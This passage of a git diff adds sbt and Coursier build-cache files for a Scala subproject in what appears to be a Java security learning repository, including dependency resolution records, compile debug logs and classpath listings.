y_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-reflect","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang.modules","name":"scala-xml_2.12","revision":"2.2.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-lang","name":"*","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://javadoc.io/doc/org.scala-lang.modules/scala-xml_2.13/","info.versionScheme":"early-semver"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-xml_2.12","type":"bundle","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/modules/scala-xml_2.12/2.2.0/scala-xml_2.12-2.2.0.jar","extraAttributes":{"info.apiURL":"https://javadoc.io/doc/org.scala-lang.modules/scala-xml_2.13/","info.versionScheme":"early-semver"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/modules/scala-xml_2.12/2.2.0/scala-xml_2.12-2.2.0.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"http://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://javadoc.io/doc/org.scala-lang.modules/scala-xml_2.13/","info.versionScheme":"early-semver"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"jline","name":"jline","revision":"2.14.6","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jline","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/jline/jline/2.14.6/jline-2.14.6.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/jline/jline/2.14.6/jline-2.14.6.jar"]],"missingArtifacts":[],"evicted":false,"extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["The BSD License","http://www.opensource.org/licenses/bsd-license.php"]],"callers":[]}],"details":[]},{"configuration":{"name":"sources"},"modules":[],"details":[]},{"configuration":{"name":"test"},"modules":[],"details":[]},{"configuration":{"name":"test-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]}],"stats":{"resolveTime":-1,"downloadTime":-1,"downloadSize":-1,"cached":false},"stamps":{}}
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/_global/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/_global/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/_global/csrLogger/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/_global/csrLogger/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/csrConfiguration/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/csrConfiguration/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/csrProject/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/csrProject/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/input_dsp b/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/input_dsp
new file mode 100644
index 00000000..77b55f12
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/input_dsp
@@ -0,0 +1 @@
+-768128706
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/output_dsp b/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/output_dsp
new file mode 100644
index 00000000..fa8310de
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/output_dsp
@@ -0,0 +1 @@
+{"{\"organization\":\"org.scala-lang\",\"name\":\"scala-library\",\"revision\":\"2.12.19\",\"configurations\":\"provided\",\"isChanging\":false,\"isTransitive\":true,\"isForce\":false,\"explicitArtifacts\":[],\"inclusions\":[],\"exclusions\":[],\"extraAttributes\":{},\"crossVersion\":{\"type\":\"Disabled\"}}":{"value":{"$fields":["path","startLine"],"path":"(sbt.Classpaths.jvmBaseSettings) Defaults.scala","startLine":3407},"type":"LinePosition"}}
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/ivyConfiguration/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/ivyConfiguration/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/ivySbt/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/ivySbt/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/moduleSettings/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/moduleSettings/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/projectDescriptors/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/projectDescriptors/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/scalaCompilerBridgeScope/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/scalaCompilerBridgeScope/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/update/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/update/_global/streams/out
new file mode 100644
index 00000000..0bf44041
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/_global/update/_global/streams/out
@@ -0,0 +1,3 @@
+[debug] not up to date. inChanged = true, force = false
+[debug] Updating ProjectRef(uri("file:/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/"), "scala1-build")...
+[debug] Done updating ProjectRef(uri("file:/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/"), "scala1-build")
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/compileOutputs/previous b/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/compileOutputs/previous
new file mode 100644
index 00000000..faea7848
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/compileOutputs/previous
@@ -0,0 +1 @@
+["sbt.Task[scala.collection.Seq[java.nio.file.Path]]",["/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/zinc/inc_compile_2.12.zip"]]
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/discoveredMainClasses/data b/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/discoveredMainClasses/data
new file mode 100644
index 00000000..0637a088
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/discoveredMainClasses/data
@@ -0,0 +1 @@
+[]
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/bspReporter/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/bspReporter/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/compile/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/compile/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/export
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/out
new file mode 100644
index 00000000..5db86870
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/out
@@ -0,0 +1,6 @@
+[debug] [zinc] IncrementalCompile -----------
+[debug] IncrementalCompile.incrementalCompile
+[debug] previous = Stamps for: 0 products, 0 sources, 0 libraries
+[debug] current source = Set()
+[debug]> initialChanges = InitialChanges(Changes(added = Set(), removed = Set(), changed = Set(), unmodified = ...),Set(),Set(),API Changes: Set())
+[debug] Full compilation, no sources in previous analysis.
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/copyResources/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/copyResources/_global/streams/out
new file mode 100644
index 00000000..49995276
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/copyResources/_global/streams/out
@@ -0,0 +1,2 @@
+[debug] Copy resource mappings:
+[debug]
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/dependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/dependencyClasspath/_global/streams/export
new file mode 100644
index 00000000..840acb78
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/dependencyClasspath/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/exportedProducts/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/exportedProducts/_global/streams/export
new file mode 100644
index 00000000..c9499290
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/exportedProducts/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/externalDependencyClasspath/_global/streams/export
new file mode 100644
index 00000000..840acb78
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/externalDependencyClasspath/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1